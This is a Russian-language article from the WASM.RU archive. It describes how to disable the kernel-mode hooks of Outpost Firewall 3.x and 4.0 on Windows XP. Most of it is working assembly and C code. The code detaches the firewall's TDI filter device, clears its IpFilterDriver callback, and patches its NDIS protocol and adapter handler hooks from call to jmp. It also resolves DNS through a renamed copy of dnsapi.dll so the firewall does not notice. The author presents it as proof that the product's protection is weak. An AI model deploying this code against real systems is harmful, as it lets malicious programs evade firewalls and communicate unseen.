Обход Outpost Firewall 3.x и 4.0 в Kernel mode — Архив WASM.RU

Все статьи

Обход Outpost Firewall 3.x и 4.0 в Kernel mode — Архив WASM.RU

Я приведу описание обхода самого распространенного и используемого брандмауэра - Outpost Firewall. Он имеет достаточно гибкие настройки, защиту от внедрения кода (Inject), контроль компонентов, поэтому его обход в ring-3 представляет некоторые сложности: Inject все-таки возможен, но требует написания базонезависимого кода для работы с сетью, и прочий геморрой ;) Я предлагаю переместиться на уровень ниже, в ring-0, где возможно все :) Будут рассмотрены версии 3.x и 4.0. Я затрону только тему обхода Outpost для беспрепятственной работы с сетью, ничего насчет других фич Outpost'а здесь сказано не будет. Предупреждение: приведенный ниже код разрабатывался и тестировался для Windows XP, на остальных версиях не заработает (см. NDIS_PROTOCOL_BLOCK для каждой ОС).

Outpost Firewall, имеет четыре типа защиты на разных уровнях, в ядре:

  1. Перехват на уровне TDI. Перехват обращений к устройствам: \Device\Ip, \Device\RawIp, \Device\Tcp и \Device\Udp посредством создания и присоединения своего устройства с целью принимать и фильтровать поступающие вызовы к этим устройствам от приложений.
  2. Перехват на уровне IpFilterDriver. Это документированная возможность Windows XP+, предоставляющая услуги фильтрации пакетов в ядре (т.е. не нужно заморачиваться с установкой перехвата на NDIS и TDI).
  3. Перехват на уровне NDIS.
    • Перехват функций создания/удаления NDIS-протоколов: NdisRegisterProtocol, NdisDeregisterProtocol
    • Перехват функций открытия/закрытия адаптера: NdisOpenAdapter, NdisCloseAdapter
    Достигается за счет правки таблицы экспорта модуля NDIS.SYS и установки своих обработчиков, при вызове которых осуществляется фильтрация.
  4. Перехват обращения к DNSAPI (только в версии 4.0)

Самым сложным в снятии перехвата является перехват на NDIS-уровне. Рассмотрим по порядку:

1) Снятие перехвата на уровне TDI не составит труда тому, кто знаком с объектной архитектурой ядра и умеет успешно манипулировать объектами. Перехват обращений к устройствам \Device\Ip, \Device\RawIp, \Device\Tcp и \Device\Udp достигается путем создания фиктивного устройства, а затем присоединение его к стеку устройств вызовом IoAttachDevice. При обращении ring3 приложения к сервису TDI, происходит построение IRP-пакета и поочередный вызов по стеку. Первым вызывается сервис Outpost'а, потом остальные. Наша задача проста - исключить устройство фаервола из связного списка устройств стека. Но зная то, что изначально никаких устройств не должно быть присоединено к Ip, Tcp, Udp, RawIp, мы получим указатель на структуру DEVICE_OBJECT устройства и просто обнулим поле AttachedDevice, тем самым уберем все фильтры на TDI. Все! Теперь IRP-пакеты будут идти прямиком к драйверу Tcpip.sys и никуда более. Как это реализуется:

	LOCAL	TcpipDrvObj		:PDRIVER_OBJECT
	
	...

	invoke	ObReferenceObjectByName, $CCOUNTED_UNICODE_STRING("\\Driver\\Tcpip"), OBJ_CASE_INSENSITIVE, NULL, 0, \
				IoDriverObjectType, KernelMode, NULL, addr TcpipDrvObj
	test	eax, eax
	jnz	@ret
	
	mov	eax, TcpipDrvObj
	mov	ebx, (DRIVER_OBJECT ptr [eax]).DeviceObject
	
	assume	ebx : ptr DEVICE_OBJECT				; EBX -> текущее устройство
	
	; Перечисляем все устройства драйвера Tcpip.sys:
	; \Device\Ip, \Device\RawIp, \Device\Tcp, \Device\Udp, \Device\IPMULTICAST
	
@enum_devices:
	and	[ebx].AttachedDevice, 0				; Перехват снят
	
	mov	ebx, [ebx].NextDevice
	test	ebx, ebx
	jnz	@enum_devices

	assume	ebx : nothing
	
	invoke	ObDereferenceObject, TcpipDrvObj

Outpost никак не проверяет отсутствие его устройства в стеке, поэтому анти-перехват сработал. Таким же образом можно убрать перехват почти любых TDI-Firewall'ов (если конечно они постоянно не проверяют наличие своего устройства в стеке, иначе это будет чуть сложнее).

2) IpFilterDriver является драйвером, который используется встроенным фаерволом Windows. Этот сервис предоставляет возможность просмотра пакетов и их фильтрацию в ядре. Что происходит при инициализации фильтрации с помощью IpFilterDriver в FILTNT.SYS:

a) Загружается драйвер ipfltdrv.sys:

	UNICODE_STRING RegPath;
	
	RtlInitUnicodeString(&RegPath, L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\IpFilterDriver");
	ZwLoadDriver(&RegPath);

b) Получаем указатель на устройство \Device\Ipfilterdriver:

	PFILE_OBJECT IpFilterFileObj;
	PDEVICE_OBJECT IpFilterDevObj;
	UNICODE_STRING DevPath;
	
	RtlInitUnicodeString(&DevPath, L"\\Device\\IPFILTERDRIVER");
	IoGetDeviceObjectPointer(&DevPath, STANDARD_RIGHTS_ALL, &IpFilterFileObj, &IpFilterDevObj);

c) Создается IRP пакет, который передается драйверу:

	PIRP pIrp;
	DWORD InBuff = (DWORD)&FilterProc;

	pIrp = IoBuildDeviceIoControlRequest(IOCTL_PF_SET_EXTENSION_POINTER, IpFilterDevObj, &InBuff, 4, 0, 0, 0, 0, 0);
	IoCallDriver(IpFilterDevObj, pIrp);

Где FilterProc - callback функция, вызывающаяся при приеме/передаче пакетов, и позволяющая пропустить или дропнуть пакет. В DDK сказано, что если передать вместо указателя на функцию NULL, то обработчик удаляется. Outpost также никак не следит за сохранностью своего обработчика, и мы можем беспрепятственно таким же путем удалить его:

	LOCAL	IpFilterFileObj		:PFILE_OBJECT
	LOCAL	IpFilterDevObj	:PDEVICE_OBJECT
	LOCAL	InBuff			:DWORD
	
	...
	
	invoke	IoGetDeviceObjectPointer, $CCOUNTED_UNICODE_STRING("\\Device\\Ipfilterdriver"), \
				GENERIC_READ or GENERIC_WRITE or SYNCHRONIZE, addr IpFilterFileObj, addr IpFilterDevObj 
	test	eax, eax
	jnz	@ret
	
	and	InBuff, 0
	
	invoke	IoBuildDeviceIoControlRequest, IOCTL_IP_SET_FIREWALL_HOOK, IpFilterDevObj, addr InBuff, 4, 0, 0, 0, 0, 0
	test	eax, eax
	jz	@ret
	
	invoke	IoCallDriver, IpFilterDevObj, eax

3) Самая сложная и громоздкая часть - это снятие перехвата со всех зарегистрированных NDIS-протоколов в системе (структура NDIS_PROTOCOL_BLOCK), а также их открытых блоков (структура NDIS_OPEN_BLOCK). Структура NDIS_OPEN_BLOCK определена в ndis.h из DDK, но NDIS_PROTOCOL_BLOCK нет. Покопавшись в различных источниках, а также взглянув на эту структуру через отладчик, не трудно догадаться что она скрывает ;) Замечу, что эта структура различна в разных версиях Windows. В системе существует связный список NDIS-протоколов, представляемых структурой NDIS_PROTOCOL_BLOCK, которые экспортируют свои функции-обработчики, которые вызываются при каких-то событиях: например при связывании адаптера и протокола, при принятии и удалении пакета и т.д. Существует неэкспортируемая переменная модуля NDIS.SYS ndisProtocolList, которая указывает на последний зарегистрированный протокол (и первый в списке). Искать ее не имеет смысла, когда существует чуть более громоздкое, но переносимое между версиями ОС решение: мы зарегистрируем пустой протокол, только для того чтобы получить указатель на следующий протокол в цепочке и сразу его удалим. Полученный после регистрации протокола NDIS_HANDLE будет указателем на нашу созданную структуру NDIS_PROTOCOL_BLOCK:

	LOCAL	NdisProto			:NDIS_PROTOCOL_CHARACTERISTICS
	LOCAL	NdisStatus			:NDIS_STATUS
	LOCAL	NdisProtoHandle		:NDIS_HANDLE
	
	...
	
	lea	edi, NdisProto
	mov	ecx, sizeof NdisProto
	xor	eax, eax
	rep	stosb
	
	mov	NdisProto.MajorNdisVersion,		4
	mov	NdisProto.BindAdapterHandler,	BindAdapterStub
	mov	NdisProto.UnbindAdapterHandler,	UnbindAdapterStub

	; Регистрируем NDIS-протокол для того чтобы получить указатель 
	; на связный список протоколов

	invoke	NdisRegisterProtocol, addr NdisStatus, addr NdisProtoHandle, addr NdisProto, sizeof NdisProto
	cmp	NdisStatus, NDIS_STATUS_SUCCESS
	jnz	@ret
	
	mov	ebx, NdisProtoHandle		; EBX -> текущий протокол
	assume	ebx : ptr NDIS_PROTOCOL_BLOCK
	mov	ebx, [ebx].Next				; Скорее всего указывает на протокол TCPIP_WANARP
	
	invoke	NdisDeregisterProtocol, addr NdisStatus, NdisProtoHandle

Когда система девственно чиста, почти всегда присутствует такой набор протоколов: NDISUIO, TCPIP_WANARP, TCPIP, NDPROXY, PSCHED, RASPPPOE, NDISWAN каждый из них выполняет различные задачи. Например, Outpost создает свой протокол, чтобы вклиниться в список: (VFILT). Еще пример: снифер CommView создает протоколы: TSCOMM и CV2K1. Чтобы поглубже познакомиться с недрами NDIS, используйте программу NdisMonitor. После регистрации/удаления протокола мы имеем указатель на первый протокол в списке (если не запущен снифер, или др. программы, работающие на уровне NDIS, это будет протокол TCPIP_WANARP). Структура NDIS_PROTOCOL_BLOCK содержит указатели на обработчики протокола, которые Outpost перехватывает. Чтобы была возможность поддержки переменного количества протоколов, перехват ставится следующим образом:

– Выделяется память

– Записываются некоторые данные, характеризующие протокол. Формируется команда call (опкод 0E8h) на обработчик внутри FILTNT.SYS, который содержит следующие инструкции:

Outpost 3.x:

	pop    eax
	push   [eax]		; Настоящий обработчик
	pushad
	push   [eax+4]
	push   [esp+28h]
	jmp    [eax+8]

Outpost 4.0:

	pop    eax
	add    eax, 3
	push   [eax]		; Настоящий обработчик
	pushad
	push   [eax+4]
	push   [esp+28h]
	jmp    [eax+8]

– Вместо настоящего обработчика устанавливается адрес выделенной памяти

В ходе исследования выяснилось, что адрес реального перехваченного обработчика находится в выделенной памяти по смещению +8 (Outpost 4.0) или +5 (Outpost 3.x). Отличить версию 4.0 от 3.x достаточно просто, по инструкции add eax, 3. В каждом протоколе Outpost перехватывает следующие функции:

  OpenAdapterCompleteHandler
  SendCompleteHandler
  TransferDataCompleteHandler
  RequestCompleteHandler
  ReceiveHandler
  StatusHandler
  ReceivePacketHandler
  BindAdapterHandler
  UnbindAdapterHandler

В структуре NDIS_OPEN_BLOCK содержатся указатели на обработчики конкретного адаптера, связанного с протоколом. С каждым протоколом может быть связано несколько адаптеров, открытые блоки которых объединяются в связный список. Указатель на первую структуру NDIS_OPEN_BLOCK содержится в NDIS_PROTOCOL_BLOCK.OpenBlock. Структура NDIS_OPEN_BLOCK создается при вызове NdisOpenAdapter, поэтому Outpost перехватывает эту функцию. В NDIS_OPEN_BLOCK перехватываются следующие обработчики:

Outpost 3.x:

  SendHandler
  TransferDataHandler
  SendCompleteHandler
  TransferDataCompleteHandler
  ReceiveHandler
  RequestCompleteHandler
  ReceivePacketHandler
  SendPacketsHandler
  StatusHandler

Outpost 4.0:

  SendCompleteHandler
  TransferDataCompleteHandler
  ReceiveHandler
  ReceivePacketHandler
  StatusHandler

Наверное разработчики поняли, что переборщили в 3.х с таким количеством перехватываемых обработчиков, когда достаточно перехватывать всего 5 штук. Теперь цель понятна: обойти все протоколы, в каждом протоколе снять перехват; в каждом протоколе обойти все открытые блоки и тоже снять перехват. Но не все так просто, как было с TDI и IpFilterDriver. Мы не можем просто так заменить обработчики фаера на свои, потому что тот создает поток, который время от времени проходится по всем протоколам и открытым блокам и восстановит перехват. И если Outpost 3.x, обходя список протоколов, натыкался на неперехваченный обработчик (или обработчик, с которого сняли перехват), он тупо брал адрес из структуры и опять ставил перехват, что в свое время обернулось для меня проблемой, то Outpost 4.0 хранит обработчики для каждого протокола, и правильно восстанавливает перехват. Браво! :P Ну а если не трогать указатель на обработчик, и вместо call'а на обработчик Outpost'а, поставить jmp сразу на реальный обработчик, то все будет работать как надо. Outpost не делает проверку на то, изменился ли его перехват. Для снятия перехвата с конкретного обработчика я написал функцию:

RemoveNdisProcHook proc Handler :PVOID

	mov	ecx, Handler
	jecxz	@ret
	
	cmp	byte ptr [ecx], 0E8h			; В начале должен стоять call
	jnz	@ret
	
	mov	edx, [ecx+1]				; Смещение call'а
	lea	edx, [ecx+edx+5]			; EDX указывает на то, куда идет вызов call'а
	
	.if dword ptr [edx] == 03C08358h		; В начале стоит: pop eax / add eax, 3 - это Outpost 4.0  
	
		mov	edx, [ecx+8]
		
	.elseif	dword ptr [edx] == 6030FF58h	; В начале стоит: pop eax / push [eax] / pushad - это Outpost 3.x
		
		mov	edx, [ecx+5]
	.else
	
		jmp	@ret
	.endif
	
	; В EDX адрес реального обработчика
	
	mov	byte ptr [ecx], 0E9h			; Превратим call в jmp
	sub	edx, ecx
	sub	edx, 5
	mov	[ecx+1], edx				; Теперь вместо передачи управления фаеру, 
	                                ; будет jmp сразу на реальный обработчик
	
@ret:
	ret

RemoveNdisProcHook endp

Ну, и, наконец, последнее действо:

	assume	ebx : ptr NDIS_PROTOCOL_BLOCK
	
	...

	; Перечисляем все зарегистрированные NDIS-протоколы
	
@enum_protocols:

	; Удаляем перехват обработчиков NDIS-протокола
	
	invoke	RemoveNdisProcHook, [ebx].OpenAdapterCompleteHandler
	invoke	RemoveNdisProcHook, [ebx].SendCompleteHandler
	invoke	RemoveNdisProcHook, [ebx].TransferDataCompleteHandler
	invoke	RemoveNdisProcHook, [ebx].RequestCompleteHandler
	invoke	RemoveNdisProcHook, [ebx].ReceiveHandler
	invoke	RemoveNdisProcHook, [ebx].StatusHandler
	invoke	RemoveNdisProcHook, [ebx].ReceivePacketHandler
	invoke	RemoveNdisProcHook, [ebx].BindAdapterHandler
	invoke	RemoveNdisProcHook, [ebx].UnbindAdapterHandler
	
	
	mov	esi, [ebx].OpenBlock				; ESI -> текущий открытый блок
	test	esi, esi
	jz	@next
	
	assume	esi : ptr NDIS_OPEN_BLOCK
	
	; Перечисляем все открытые блоки этого протокола
	
	@enum_open_blocks:
	
		; Удаляем перехват обработчиков открытого блока
		
		invoke	RemoveNdisProcHook, [esi].SendHandler
		invoke	RemoveNdisProcHook, [esi].TransferDataHandler
		invoke	RemoveNdisProcHook, [esi].SendCompleteHandler
		invoke	RemoveNdisProcHook, [esi].TransferDataCompleteHandler
		invoke	RemoveNdisProcHook, [esi].ReceiveHandler
		invoke	RemoveNdisProcHook, [esi].RequestCompleteHandler
		invoke	RemoveNdisProcHook, [esi].ReceivePacketHandler
		invoke	RemoveNdisProcHook, [esi].SendPacketsHandler
		invoke	RemoveNdisProcHook, [esi].StatusHandler
	
	
		mov	esi, [esi].ProtocolNextOpen
		test	esi, esi
		jnz	@enum_open_blocks
		
	assume esi : nothing

@next:
	mov	ebx, [ebx].Next
	test	ebx, ebx
	jnz	@enum_protocols
	
	assume	ebx : nothing

4) Три главных метода фильтрации Outpost'а сняты. Для версий 3.x этого достаточно, но в Outpost версии 4.0 добавилась возможность перехватывать DNS-запросы приложений. Вернее даже не сами запросы - разработчикам ничего умнее в голову не пришло, кроме как отлавливать загрузку модуля DNSAPI.DLL. Это юзермодная DLL, которая выполняет функции преобразования имя->адрес (и наоборот), запроса MX-серверов и много чего другого. Вызов gethostbyname() влечет за собой загрузку этой библиотеки, и появляется окно фаера, в котором "Приложение пытается выполнить DNS-запрос". Чтобы обойти эту фичу, не нужно даже кода ядра. Но придется отказаться от функций gethostbyname(), gethostbyaddr() и других: нужно скопировать библиотеку system32\dnsapi.dll куда-нибудь, под другим именем (в этом суть), загрузить ее, получить указатель на функцию DnsQuery_A и произвести DNS-запрос. Outpost никак на это не отреагирует, т.к. он проверяет только имя загружаемого модуля. Логичнее было бы пресекать обращения приложений на 53 порт, а не только ставить хук на загрузку DNSAPI.DLL. Конечно, можно все свалить на бета-версию, но такой неправильный путь "защиты" выбран изначально, и я уверен что эта т.н. "защита" использовалась бы и дальше. Вот как я реализовал "gethostbyname()":

	typedef DNS_STATUS (WINAPI *DNS_QUERY)(
	  PCSTR lpstrName,
	  WORD wType,
	  DWORD fOptions,
	  PIP4_ARRAY aipServers,
	  PDNS_RECORD* ppQueryResultsSet,
	  PVOID* pReserved
	);


	typedef void (WINAPI *DNS_RECORD_LIST_FREE)(
	  PDNS_RECORD pRecordList,
	  DNS_FREE_TYPE FreeType
	);

	...

	char buf[256], buf2[256];
	PDNS_RECORD			pRec;
	DNS_QUERY			pDnsQuery;
	DNS_RECORD_LIST_FREE	pDnsRecordListFree;
	HINSTANCE				hLib;
	

	GetTempPath(sizeof(buf), buf);
	strcat(buf, "xxxxx.dll");

	GetSystemDirectory(buf2, sizeof(buf2));
	strcat(buf2, "\\dnsapi.dll");

	CopyFile(buf2, buf, FALSE);

	if ((hLib = LoadLibrary(buf)) &&
		(pDnsQuery = (DNS_QUERY)GetProcAddress(hLib, "DnsQuery_A")) &&
		(pDnsRecordListFree = (DNS_RECORD_LIST_FREE)GetProcAddress(hLib, "DnsRecordListFree")))
	{
		if (!pDnsQuery("wasm.ru", DNS_TYPE_A, DNS_QUERY_STANDARD, NULL, &pRec, NULL))
		{
			sprintf(buf, "WASM.RU IP Address: %s", inet_ntoa(*(in_addr*)&pRec->Data.A.IpAddress));
			MessageBox(0, buf, "Outpost DnsDetour", MB_ICONINFORMATION);

			pDnsRecordListFree(pRec, DnsFreeRecordList);
		}
		else
			MessageBox(0, "Can't get WASM.RU IP Address!", "Outpost DnsDetour", MB_ICONINFORMATION);

		FreeLibrary(hLib);
	}

	DeleteFile(buf);

Все виды перехвата, используемые Outpost'ом, сняты. Теперь любое приложение, может беспрепятственно работать с сетью. Даже при настройке Outpost'а "Блокировать все соединения".

Моей задачей не было создать универсальное средство для обхода любого рода Firewall'ов (иначе бы начался хаос :P), моей задачей было показать несостоятельность защиты Outpost'а против достаточно простого кода ядра (а также, как оказалось, кривые способы защиты от DNS-ресолвинга в новенькой бета-версии). При создании подключения, Outpost 4.0 в логе будет фиксировать "Неопределенное правило", т.к. сам перехват снят, а список открытых портов и подключений остался. В версиях же 3.x подключение не будет видно вообще. Ну и идеальным решением было бы не простое снятие перехвата, а создание "надстройки" над Firewall'ом, которая бы давала возможность выходить в сеть определенным приложениям, а в другом случае передавала бразды правления Outpost'у + скрытие определенных открытых портов и соединений.

Стоит сказать пару слов о том, что перед снятием хуков, неплохо бы запретить прерывания, APC, DPC, чтобы операция по снятию хуков была неразрывна. В архиве вы найдете исходник и откомпилированный драйвер, а также пример определения IP по имени в обход Outpost 4.0.

2002-2013 (c) wasm.ru